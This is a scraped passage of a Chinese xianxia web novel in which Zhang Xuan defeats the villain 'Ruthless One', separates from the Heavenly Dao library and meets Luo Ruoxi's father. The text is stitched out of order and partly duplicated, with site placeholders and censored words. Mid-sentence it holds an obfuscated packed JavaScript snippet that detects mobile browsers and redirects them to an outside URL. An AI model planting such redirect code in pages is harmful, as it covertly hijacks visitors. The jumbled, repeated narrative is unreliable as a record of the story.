之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第191章欺骗 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190892|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 